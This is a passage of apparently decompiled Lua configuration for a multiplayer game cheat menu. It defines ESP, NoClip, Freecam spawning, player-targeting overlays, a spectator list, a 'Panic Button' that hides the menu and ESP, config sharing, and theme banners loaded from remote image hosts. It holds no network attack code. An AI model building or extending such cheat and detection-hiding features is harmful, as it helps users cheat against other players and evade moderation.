pendingMenuEntry32.type = "hotkey" end end do local panicButtonOption = {} panicButtonOption.identifier = "PANIC_MODE" panicButtonOption.type = "button" panicButtonOption.func = "togglePanicMode" panicButtonOption.name = "Panic Button" panicButtonOption.keybindName = "Panic Button" pendingMenuEntry32.target = panicButtonOption pendingMenuEntry32.description = "Hide the menu and all ESP until you press it again" end do local resetOption = {} resetOption.name = "Reset" resetOption.type = "selector" resetOption.var = "resetMenuSelector" do local choiceList = { "Menu", "Keybinds" } resetOption.choices = choiceList resetOption.func = "resetMenuOrKeybinds" resetOption.description = "Reset the menu or all keybinds" pendingMenuEntry26[1] = pendingMenuEntry27 pendingMenuEntry26[2] = pendingMenuEntry28 pendingMenuEntry26[3] = pendingMenuEntry29 pendingMenuEntry26[4] = pendingMenuEntry30 pendingMenuEntry26[5] = pendingMenuEntry31 pendingMenuEntry26[6] = pendingMenuEntry32 pendingMenuEntry26[7] = resetOption pendingMenuEntry24.options = pendingMenuEntry26 pendingMenuEntry25 = {} pendingMenuEntry25.name = "Advanced" pendingMenuEntry27 = {} pendingMenuEntry28 = {} pendingMenuEntry28.name = "Disabled Username on Menu" pendingMenuEntry28.type = "toggle" pendingMenuEntry28.var = "disabledUsernameOnMenu" pendingMenuEntry28.default = false pendingMenuEntry28.description = "Disable Username on Menu" pendingMenuEntry29 = {} pendingMenuEntry29.name = "Hide Search Button" pendingMenuEntry29.type = "toggle" pendingMenuEntry29.var = "hideSearchButton" pendingMenuEntry29.default = false pendingMenuEntry29.description = "Hide the Search button from the main menu" pendingMenuEntry30 = {} pendingMenuEntry30.name = "Scroll Wheel NoClip Speed" pendingMenuEntry30.type = "toggle" pendingMenuEntry30.var = "noclipScrollSpeed" pendingMenuEntry30.default = false pendingMenuEntry30.description = "While NoClip is active, use the mouse scroll wheel to change speed" pendingMenuEntry31 = {} pendingMenuEntry31.name = "Show Freecam Entity Spawn Preview" pendingMenuEntry31.type = "toggle" pendingMenuEntry31.var = "showEntitySpawnPreview" pendingMenuEntry31.default = true pendingMenuEntry31.description = "Show ghost previews for spawns in Freecam and Online Options" pendingMenuEntry32 = {} pendingMenuEntry32.name = "Online Settings" pendingMenuEntry32.type = "separator" end end do local drawLineToSelectedPlayersOption = {} drawLineToSelectedPlayersOption.name = "Draw line to selected players" drawLineToSelectedPlayersOption.type = "toggle" drawLineToSelectedPlayersOption.var = "drawSelectedLine" drawLineToSelectedPlayersOption.default = true drawLineToSelectedPlayersOption.description = "Draw a line from crosshair to selected players" local showSelectedPlayerInfoOption = {} showSelectedPlayerInfoOption.name = "Show selected player info" showSelectedPlayerInfoOption.type = "toggle" showSelectedPlayerInfoOption.var = "drawSelectedPlayerInfo" showSelectedPlayerInfoOption.default = true showSelectedPlayerInfoOption.description = "Show the info panel for selected players in Online Options" pendingMenuEntry27[1] = pendingMenuEntry28 pendingMenuEntry27[2] = pendingMenuEntry29 pendingMenuEntry27[3] = pendingMenuEntry30 pendingMenuEntry27[4] = pendingMenuEntry31 pendingMenuEntry27[5] = pendingMenuEntry32 pendingMenuEntry27[6] = drawLineToSelectedPlayersOption pendingMenuEntry27[7] = showSelectedPlayerInfoOption pendingMenuEntry25.options = pendingMenuEntry27 pendingMenuEntry26 = {} pendingMenuEntry26.name = "Overlay" pendingMenuEntry28 = {} pendingMenuEntry29 = {} pendingMenuEntry29.name = "Spectator List" pendingMenuEntry29.type = "toggle" pendingMenuEntry29.var = "spectatorList" pendingMenuEntry29.func = "toggleSpectatorList" pendingMenuEntry29.description = "Show a list of players spectating you" pendingMenuEntry30 = {} pendingMenuEntry30.name = "Keybind List" pendingMenuEntry30.type = "toggle" pendingMenuEntry30.var = "keybindList" pendingMenuEntry30.func = "toggleKeybindList" pendingMenuEntry30.description = "Show active keybinds" pendingMenuEntry31 = {} pendingMenuEntry31.name = "Settings" pendingMenuEntry31.type = "separator" pendingMenuEntry32 = {} pendingMenuEntry32.name = "Reset to Default" pendingMenuEntry32.type = "selector" pendingMenuEntry32.var = "resetOverlayPosition" do local choiceList = { "Menu", "Spectator List", "Keybind List", "Vanity List" } pendingMenuEntry32.choices = choiceList pendingMenuEntry32.func = "resetSelectedOverlayPosition" pendingMenuEntry32.description = "Select a menu or list, then press Enter to restore its default position" end end do local moveMenuOption = {} moveMenuOption.name = "Move Menu" moveMenuOption.type = "button" moveMenuOption.func = "moveMenu" moveMenuOption.description = "Drag with your mouse. Enter to confirm, Escape to cancel" local moveSpectatorListOption = {} moveSpectatorListOption.name = "Move Spectator List" moveSpectatorListOption.type = "button" moveSpectatorListOption.func = "moveSpectatorList" moveSpectatorListOption.description = "Drag with your mouse. Enter to confirm, Escape to cancel" do local moveKeybindListOption = {} moveKeybindListOption.name = "Move Keybind List" moveKeybindListOption.type = "button" moveKeybindListOption.func = "moveKeybindList" moveKeybindListOption.description = "Drag with your mouse. Enter to confirm, Escape to cancel" pendingMenuEntry36 = {} pendingMenuEntry36.name = "Move Vanity List" pendingMenuEntry36.type = "button" pendingMenuEntry36.func = "moveVanityList" do local function condition() return menu.vars.bools.vanityUsersList == true end pendingMenuEntry38 = condition end pendingMenuEntry36.condition = pendingMenuEntry38 pendingMenuEntry36.description = "Drag with your mouse. Enter to confirm, Escape to cancel" pendingMenuEntry28[1] = pendingMenuEntry29 pendingMenuEntry28[2] = pendingMenuEntry30 pendingMenuEntry28[3] = pendingMenuEntry31 pendingMenuEntry28[4] = pendingMenuEntry32 pendingMenuEntry28[5] = moveMenuOption pendingMenuEntry28[6] = moveSpectatorListOption pendingMenuEntry28[7] = moveKeybindListOption pendingMenuEntry28[8] = pendingMenuEntry36 pendingMenuEntry26.options = pendingMenuEntry28 pendingMenuEntry27 = {} pendingMenuEntry27.name = "Crosshair" pendingMenuEntry29 = {} pendingMenuEntry30 = {} pendingMenuEntry30.name = "Enable" pendingMenuEntry30.type = "toggle" pendingMenuEntry30.var = "crosshair" pendingMenuEntry30.description = "Show crosshair" pendingMenuEntry31 = {} pendingMenuEntry31.name = "Settings" pendingMenuEntry31.type = "seperator" pendingMenuEntry32 = {} pendingMenuEntry32.name = "Mode" pendingMenuEntry32.type = "selector" pendingMenuEntry32.var = "crosshairMode" end do local choiceList = { "Always", "Freecam" } pendingMenuEntry32.choices = choiceList pendingMenuEntry32.description = "When to show" end end pendingMenuEntry33 = {} pendingMenuEntry33.name = "Type" pendingMenuEntry33.type = "selector" pendingMenuEntry33.var = "crosshairType" do local choiceList = { "Point", "Cross", "Ring", "Up Arrow", "Scope Ring" } pendingMenuEntry33.choices = choiceList pendingMenuEntry33.description = "Choose the crosshair style" pendingMenuEntry34 = {} pendingMenuEntry34.name = "Size" pendingMenuEntry34.type = "numberSlider" pendingMenuEntry34.var = "crosshairSize" pendingMenuEntry34.min = 1.0 pendingMenuEntry34.max = 10.0 pendingMenuEntry34.step = 0.5 pendingMenuEntry34.default = 2.5 pendingMenuEntry34.disableHoldAcceleration = true pendingMenuEntry34.suffix = "px" pendingMenuEntry34.description = "Adjust the size of the crosshair" end pendingMenuEntry35 = {} pendingMenuEntry35.name = "Color" pendingMenuEntry35.type = "colorPicker" pendingMenuEntry35.var = "crosshairColor" pendingMenuEntry37 = { 255, 255, 255 } pendingMenuEntry35.default = pendingMenuEntry37 pendingMenuEntry35.description = "Crosshair color" pendingMenuEntry29[1] = pendingMenuEntry30 pendingMenuEntry29[2] = pendingMenuEntry31 pendingMenuEntry29[3] = pendingMenuEntry32 pendingMenuEntry29[4] = pendingMenuEntry33 pendingMenuEntry29[5] = pendingMenuEntry34 pendingMenuEntry29[6] = pendingMenuEntry35 pendingMenuEntry27.options = pendingMenuEntry29 pendingMenuEntry23[1] = pendingMenuEntry24 pendingMenuEntry23[2] = pendingMenuEntry25 pendingMenuEntry23[3] = pendingMenuEntry26 pendingMenuEntry23[4] = pendingMenuEntry27 pendingMenuEntry21.tabs = pendingMenuEntry23 local menuBannerOptionValue = {} menuBannerOptionValue.name = "Menu Banner" menuBannerOptionValue.type = "submenu" pendingMenuEntry24 = {} do local menuBannerOption = {} menuBannerOption.name = "Menu Banner" menuBannerOption.type = "selector" menuBannerOption.var = "theme" menuBannerOption.selectorStyle = "dash" do local function choices() local themeName = menu.vars.currentColorTheme or "blue" local selectedName if menu.vars.selectors and menu.vars.selectors.color and menu.vars.colorThemeNames then selectedName = menu.vars.colorThemeNames[menu.vars.selectors.color] if selectedName then themeName = selectedName end end local themeGroup = menu.themes and menu.themes[themeName] if not themeGroup then return { "1" } end local sortedKeys = menu.utils.getSortedThemeKeys(themeName) local themeChoices = {} if themeName == "community" then local communityNames = { fallout = "Fallout", brascowhite = "Brasco White", onepiece = "One Piece", bugsbunny = "Bugs Bunny", crazygreen = "Grass", scoobydoo = "Scooby Doo", darkspace = "Midnight", darkname = "Onyx", supermario = "Super Mario", ilovevanity = "I Love Vanity", duck = "Duck", greyflowers = "Grey Flowers", timgioh = "Timgioh", gleggmire = "Gleggmire", drachenlord = "Drachenlord", western = "Western", deathnote = "Death Note", bullets = "Bullets", gengar = "Gengar", greenflowers = "Green Flowers", purplematrix = "Purple Matrix", vanitat = "Vanit\195\164t", ufo = "Ufo", bernd = "Bernd", salt = "Salt", masha = "Masha", ghost = "Ghost", anime = "Anime", black = "Black" } for _, themeKey in ipairs(sortedKeys) do local displayName = communityNames[themeKey] if not displayName then local theme = themeGroup[themeKey] displayName = theme and theme.name or themeKey end themeChoices[#themeChoices + 1] = displayName end elseif themeName == "adminbanners" then for _, themeKey in ipairs(sortedKeys) do local theme = themeGroup[themeKey] local displayName = theme and theme.name or themeKey themeChoices[#themeChoices + 1] = displayName end else for themeIndex = 1, #sortedKeys, 1 do themeChoices[themeIndex] = tostring(themeIndex) end end if #themeChoices == 0 then return { "1" } end return themeChoices end pendingMenuEntry27 = choices end menuBannerOption.choices = pendingMenuEntry27 menuBannerOption.onChangeFunc = "applyTheme" menuBannerOption.description = "Choose a banner style" do local menuThemeOption = {} menuThemeOption.name = "Menu Theme" menuThemeOption.type = "selector" menuThemeOption.var = "color" menuThemeOption.selectorStyle = "dash" do local function choices() if menu.utils and menu.utils.getColorThemeUIChoices then return menu.utils.getColorThemeUIChoices() end return menu.vars.colorThemeNamesUI end pendingMenuEntry28 = choices end menuThemeOption.choices = pendingMenuEntry28 menuThemeOption.onChangeFunc = "applyColorTheme" menuThemeOption.description = "Change the menu color theme" do local menuBackgroundOption = {} menuBackgroundOption.name = "Menu Background" menuBackgroundOption.type = "selector" menuBackgroundOption.var = "backgroundStyle" menuBackgroundOption.selectorStyle = "dash" do local choiceList = { "Solid", "Black", "Transparent", "Main", "Magic" } menuBackgroundOption.choices = choiceList menuBackgroundOption.onChangeFunc = "applyBackgroundStyle" menuBackgroundOption.description = "Change the menu background style" do local advancedSettingsOption = {} advancedSettingsOption.name = "Advanced Settings" advancedSettingsOption.type = "seperator" do local descriptionBarOption = {} descriptionBarOption.name = "Description Bar" descriptionBarOption.type = "toggle" descriptionBarOption.var = "descriptionBar" descriptionBarOption.default = true descriptionBarOption.description = "Pill bar at the bottom: shows the selected menu option's description text" do local enableMenuSoundOption = {} enableMenuSoundOption.name = "Enable Menu Sound" enableMenuSoundOption.type = "toggle" enableMenuSoundOption.var = "menuSound" enableMenuSoundOption.default = true enableMenuSoundOption.description = "Enables or disables all menu navigation sounds" pendingMenuEntry24[1] = menuBannerOption pendingMenuEntry24[2] = menuThemeOption pendingMenuEntry24[3] = menuBackgroundOption pendingMenuEntry24[4] = advancedSettingsOption pendingMenuEntry24[5] = descriptionBarOption pendingMenuEntry24[6] = enableMenuSoundOption menuBannerOptionValue.submenu = pendingMenuEntry24 pendingMenuEntry23 = {} pendingMenuEntry23.name = "Stuff" pendingMenuEntry23.type = "seperator" pendingMenuEntry24 = {} pendingMenuEntry24.name = "Keyboard Layout" pendingMenuEntry24.type = "selector" pendingMenuEntry24.var = "keyboardLayout" end end end end end end do local choiceList = { "QWERT*", "AZERTY" } pendingMenuEntry24.choices = choiceList pendingMenuEntry24.onChangeFunc = "applyKeyboardLayout" pendingMenuEntry24.description = "Choose a specific keyboard layout for the menu" end end pendingMenuEntry25 = {} pendingMenuEntry25.name = "Config" pendingMenuEntry25.type = "submenu" do local function submenu() local options = {} local saveConfigOption = {} saveConfigOption.name = "Save Config" saveConfigOption.type = "button" saveConfigOption.func = "saveSelectedConfig" saveConfigOption.saveMode = "new" saveConfigOption.description = "Create a new saved configuration" local importConfigOption = {} importConfigOption.name = "Import Config" importConfigOption.type = "button" importConfigOption.func = "importConfig" importConfigOption.description = "Import a config using a share code or link" local configSeparator = {} configSeparator.name = "Config" configSeparator.type = "seperator" options[1] = saveConfigOption options[2] = importConfigOption options[3] = configSeparator local configEntries = menu.configSystem.buildConfigMenuEntries() for _, entry in ipairs(configEntries) do table.insert(options, entry) end return options end pendingMenuEntry27 = submenu end pendingMenuEntry25.submenu = pendingMenuEntry27 pendingMenuEntry26 = {} pendingMenuEntry26.name = "Discord" pendingMenuEntry26.type = "submenu" pendingMenuEntry28 = {} pendingMenuEntry29 = {} do local function name() return "Discord Account: " .. (menu.vars.linkedDiscord or "Not linked") end pendingMenuEntry31 = name end pendingMenuEntry29.name = pendingMenuEntry31 pendingMenuEntry29.type = "text" pendingMenuEntry29.description = "Your linked Discord account" pendingMenuEntry30 = {} pendingMenuEntry30.name = "> Link Discord" pendingMenuEntry30.type = "button" pendingMenuEntry30.func = "linkDiscord" pendingMenuEntry30.description = "Link your Discord account to your account" do local function condition() return menu.vars.linkedDiscord == nil end pendingMenuEntry32 = condition end pendingMenuEntry30.condition = pendingMenuEntry32 pendingMenuEntry31 = {} pendingMenuEntry31.name = "> Unlink Discord" pendingMenuEntry31.type = "button" pendingMenuEntry31.func = "unlinkDiscord" pendingMenuEntry31.description = "Unlink your Discord account from your account" do local function condition() return menu.vars.linkedDiscord ~= nil end pendingMenuEntry33 = condition end pendingMenuEntry31.condition = pendingMenuEntry33 pendingMenuEntry28[1] = pendingMenuEntry29 pendingMenuEntry28[2] = pendingMenuEntry30 pendingMenuEntry28[3] = pendingMenuEntry31 pendingMenuEntry26.submenu = pendingMenuEntry28 pendingMenuEntry20[1] = pendingMenuEntry21 pendingMenuEntry20[2] = menuBannerOptionValue pendingMenuEntry20[3] = pendingMenuEntry23 pendingMenuEntry20[4] = pendingMenuEntry24 pendingMenuEntry20[5] = pendingMenuEntry25 pendingMenuEntry20[6] = pendingMenuEntry26 pendingMenuEntry18.options = pendingMenuEntry20 pendingConfigSection[1] = pendingMenuEntry16 pendingConfigSection[2] = pendingMenuEntry17 pendingConfigSection[3] = pendingMenuEntry18 assembledMenuConfig.tabs = pendingConfigSection menuTargetForConfig.config = assembledMenuConfig end do local menuTargetForFonts = menu local assembledMenuFonts = {} local pendingFontValue pendingFontValue = {} pendingFontValue.font = Ham.addCustomFont( "Poppins", "https://raw.githubusercontent.com/google/fonts/main/ofl/poppins/Poppins-Regular.ttf", math.floor(13 * menu.vars.scale) ) pendingFontValue.font_size = math.floor(13 * menu.vars.scale) assembledMenuFonts.main = pendingFontValue assembledMenuFonts.title = Ham.addCustomFont( "Poppins", "https://raw.githubusercontent.com/google/fonts/main/ofl/poppins/Poppins-Regular.ttf", math.floor(14 * menu.vars.scale) ) assembledMenuFonts.icons = Ham.addFont(2, math.floor(16 * menu.vars.scale)) assembledMenuFonts.notifyIcons = Ham.addCustomFont( "FontAwesome", "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/fonts/fontawesome-webfont.ttf", math.floor(14 * menu.vars.scale) ) assembledMenuFonts.faBrands = Ham.addCustomFont( "fa-brands-400.ttf", "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/webfonts/fa-brands-400.ttf", math.floor(20 * menu.vars.scale) ) assembledMenuFonts.faSolid = Ham.addCustomFont( "fa-solid-900.ttf", "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/webfonts/fa-solid-900.ttf", math.floor(20 * menu.vars.scale) ) assembledMenuFonts.faRegular = Ham.addCustomFont( "fa-regular-400.ttf", "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/webfonts/fa-regular-400.ttf", math.floor(20 * menu.vars.scale) ) pendingFontValue = {} pendingFontValue.font = Ham.addCustomFont( "Poppins", "https://raw.githubusercontent.com/google/fonts/main/ofl/poppins/Poppins-Regular.ttf", math.floor(15 * menu.vars.scale) ) pendingFontValue.font_size = math.floor(15 * menu.vars.scale) assembledMenuFonts.tabs = pendingFontValue pendingFontValue = {} pendingFontValue.font = Ham.addCustomFont( "Poppins", "https://raw.githubusercontent.com/google/fonts/main/ofl/poppins/Poppins-Regular.ttf", math.floor(15 * menu.vars.scale) ) pendingFontValue.font_size = math.floor(15 * menu.vars.scale) assembledMenuFonts.options = pendingFontValue pendingFontValue = {} pendingFontValue.font = Ham.addCustomFont( "Poppins", "https://raw.githubusercontent.com/google/fonts/main/ofl/poppins/Poppins-Regular.ttf", math.floor(16 * menu.vars.scale) ) pendingFontValue.font_size = math.floor(16 * menu.vars.scale) assembledMenuFonts.notify = pendingFontValue pendingFontValue = {} pendingFontValue.font = Ham.addCustomFont( "Poppins", "https://raw.githubusercontent.com/google/fonts/main/ofl/poppins/Poppins-Regular.ttf", math.floor(18 * menu.vars.scale) ) pendingFontValue.font_size = math.floor(18 * menu.vars.scale) assembledMenuFonts.separator = pendingFontValue menuTargetForFonts.fonts = assembledMenuFonts end menuTarget = menu menuTarget.ICON_DISCORD = "\239\142\146" menuTarget = menu menuTarget.ICON_EARTH_AMERICAS = "\239\149\189" menuTarget = menu menuTarget.ICON_USER = "\239\128\135" do local menuTargetForTextures = menu local assembledMenuTextures = {} menuTargetForTextures.textures = assembledMenuTextures end do local menuTargetForRuntimeTextures = menu local assembledMenuRuntimeTextures = {} menuTargetForRuntimeTextures.runtimeTextures = assembledMenuRuntimeTextures end menuTarget = menu menuTarget.footerDiscordIconDataUri = "data:image/png;base64,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" do local menuTargetForTextureLoading = menu local assembledMenuTextureLoading = {} local pendingTextureLoadingValue pendingTextureLoadingValue = {} assembledMenuTextureLoading.requests = pendingTextureLoadingValue pendingTextureLoadingValue = 0 assembledMenuTextureLoading.completed = pendingTextureLoadingValue pendingTextureLoadingValue = 0 assembledMenuTextureLoading.total = pendingTextureLoadingValue pendingTextureLoadingValue = {} assembledMenuTextureLoading.failed = pendingTextureLoadingValue pendingTextureLoadingValue = false assembledMenuTextureLoading.allLoaded = pendingTextureLoadingValue pendingTextureLoadingValue = {} pendingMenuEntry17 = {} do local red1Entry = {} red1Entry.name = "Red 1" red1Entry.textureFile = "vanity_logo_red1_new.png.enc" red1Entry.textureUrl = "https://ham.cx/menu/images/red/red_1.png" red1Entry.colors = { primary = { 140, 15, 55, 255 }, primary_light = { 180, 40, 80, 255 }, primary_dark = { 70, 5, 25, 255 }, outline = { 140, 15, 55, 180 } } pendingMenuEntry17.red1 = red1Entry end do local red2Entry = {} red2Entry.name = "Red 2" red2Entry.textureFile = "vanity_logo_red3_new.png.enc" red2Entry.textureUrl = "https://ham.cx/menu/images/red/red_3.png" red2Entry.colors = { primary = { 180, 20, 20, 255 }, primary_light = { 220, 40, 40, 255 }, primary_dark = { 110, 15, 15, 255 }, outline = { 180, 20, 20, 180 } } pendingMenuEntry17.red2 = red2Entry end do local red3Entry = {} red3Entry.name = "Red 3" red3Entry.textureFile = "vanity_logo_red4_new.png.enc" red3Entry.textureUrl = "https://ham.cx/menu/images/red/red_4.png" red3Entry.colors = { primary = { 180, 20, 20, 255 }, primary_light = { 220, 40, 40, 255 }, primary_dark = { 110, 15, 15, 255 }, outline = { 180, 20, 20, 180 } } pendingMenuEntry17.red3 = red3Entry end do local red4Entry = {} red4Entry.name = "Red 4" red4Entry.textureFile = "vanity_logo_red9.png.enc" red4Entry.textureUrl = "https://ham.cx/menu/images/red/red_9.png" red4Entry.colors = { primary = { 185, 40, 40, 255 }, primary_light = { 220, 65, 65, 255 }, primary_dark = { 65, 15, 15, 255 }, outline = { 185, 40, 40, 200 }, scroll_thumb = { 120, 30, 30, 255 } } pendingMenuEntry17.red4 = red4Entry end do local red5Entry = {} red5Entry.name = "Red 5" red5Entry.textureFile = "vanity_logo_red8_new.png.enc" red5Entry.textureUrl = "https://ham.cx/menu/images/red/red_8.png" red5Entry.colors = { primary = { 218, 4, 28, 255 }, primary_light = { 255, 38, 58, 255 }, primary_dark = { 76, 1, 8, 255 }, outline = { 218, 4, 28, 180 } } pendingMenuEntry17.red5 = red5Entry end do local red6Entry = {} red6Entry.name = "Red 6" red6Entry.textureFile = "vanity_logo_red10.png.enc" red6Entry.textureUrl = "https://ham.cx/menu/images/red/red_10.png" red6Entry.colors = { primary = { 125, 28, 28, 255 }, primary_light = { 165, 48, 48, 255 }, primary_dark = { 42, 10, 10, 255 }, outline = { 125, 28, 28, 200 }, scroll_thumb = { 75, 18, 18, 255 } } pendingMenuEntry17.red6 = red6Entry end do local red7Entry = {} red7Entry.name = "Red 7" red7Entry.textureFile = "vanity_banner_red7_imgur.png" red7Entry.textureUrl = "https://i.imgur.com/tW3shvv.png" red7Entry.colors = { primary = { 180, 20, 20, 255 }, primary_light = { 220, 40, 40, 255 }, primary_dark = { 110, 15, 15, 255 }, outline = { 180, 20, 20, 180 } } pendingMenuEntry17.red7 = red7Entry end do local red8Entry = {} red8Entry.name = "Red 8" red8Entry.textureFile = "vanity_banner_dayone_red_4Z20juX_1024.png" red8Entry.textureUrl = "https://i.imgur.com/Yf44DFP.png" red8Entry.colors = { primary = { 230, 30, 30, 255 }, primary_light = { 255, 105, 105, 255 }, primary_dark = { 40, 18, 18, 255 }, outline = { 255, 85, 85, 200 }, scroll_thumb = { 185, 30, 30, 255 } } pendingMenuEntry17.red8 = red8Entry pendingTextureLoadingValue.red = pendingMenuEntry17 pendingMenuEntry17 = {} end do local green1Entry = {} green1Entry.name = "Green 1" green1Entry.textureFile = "vanity_banner_green5.png.enc" green1Entry.textureUrl = "https://ham.cx/menu/images/green/green_5.png" green1Entry.colors = { primary = { 24, 190, 0, 255 }, primary_light = { 80, 240, 18, 255 }, primary_dark = { 4, 58, 0, 255 }, outline = { 24, 190, 0, 200 } } pendingMenuEntry17.green1 = green1Entry end do local green2Entry = {} green2Entry.name = "Green 2" green2Entry.textureFile = "vanity_logo_green2_new.png.enc" green2Entry.textureUrl = "https://ham.cx/menu/images/green/green_2.png" green2Entry.colors = { primary = { 38, 192, 0, 255 }, primary_light = { 100, 244, 16, 255 }, primary_dark = { 8, 58, 0, 255 }, outline = { 38, 192, 0, 200 } } pendingMenuEntry17.green2 = green2Entry end do local green3Entry = {} green3Entry.name = "Green 3" green3Entry.textureFile = "vanity_logo_green3_new.png.enc" green3Entry.textureUrl = "https://ham.cx/menu/images/green/green_3.png" green3Entry.colors = { primary = { 112, 194, 0, 255 }, primary_light = { 176, 244, 20, 255 }, primary_dark = { 30, 58, 0, 255 }, outline = { 112, 194, 0, 200 } } pendingMenuEntry17.green3 = green3Entry end do local green4Entry = {} green4Entry.name = "Green 4" green4Entry.textureFile = "vanity_logo_green4.png.enc" green4Entry.textureUrl = "https://ham.cx/menu/images/green/green_4.png" green4Entry.colors = { primary = { 32, 92, 28, 255 }, primary_light = { 46, 118, 40, 255 }, primary_dark = { 12, 32, 12, 255 }, outline = { 32, 92, 28, 200 } } pendingMenuEntry17.green4 = green4Entry end do local green5Entry = {} green5Entry.name = "Green 5" green5Entry.textureFile = "vanity_banner_green6.png.enc" green5Entry.textureUrl = "https://ham.cx/menu/images/green/green_6.png" green5Entry.colors = { primary = { 26, 168, 26, 255 }, primary_light = { 46, 212, 46, 255 }, primary_dark = { 10, 74, 10, 255 }, outline = { 26, 168, 26, 200 } } pendingMenuEntry17.green5 = green5Entry end do local green6Entry = {} green6Entry.name = "Green 6" green6Entry.textureFile = "vanity_banner_dayone_green_jQMNwKX_1024.png" green6Entry.textureUrl = "https://i.imgur.com/R0sEbJG.png" green6Entry.colors = { primary = { 100, 210, 0, 255 }, primary_light = { 184, 251, 0, 255 }, primary_dark = { 9, 17, 10, 255 }, outline = { 100, 210, 0, 200 }, scroll_thumb = { 70, 160, 0, 255 } } pendingMenuEntry17.green6 = green6Entry pendingTextureLoadingValue.green = pendingMenuEntry17 pendingMenuEntry17 = {} end do local blue1Entry = {} blue1Entry.name = "Blue 1" blue1Entry.textureFile = "vanity_logo_blue3.png.enc" blue1Entry.textureUrl = "https://ham.cx/menu/images/blue/blue_3.png" blue1Entry.colors = { primary = { 30, 90, 210, 255 }, primary_light = { 55, 130, 230, 255 }, primary_dark = { 12, 45, 110, 255 }, outline = { 30, 90, 210, 200 } } pendingMenuEntry17.blue1 = blue1Entry end do local blue2Entry = {} blue2Entry.name = "Blue 2" blue2Entry.textureFile = "vanity_logo_blue4.png.enc" blue2Entry.textureUrl = "https://ham.cx/menu/images/blue/blue_4.png" blue2Entry.colors = { primary = { 30, 90, 210, 255 }, primary_light = { 55, 130, 230, 255 }, primary_dark = { 12, 45, 110, 255 }, outline = { 30, 90, 210, 200 } } pendingMenuEntry17.blue2 = blue2Entry end do local 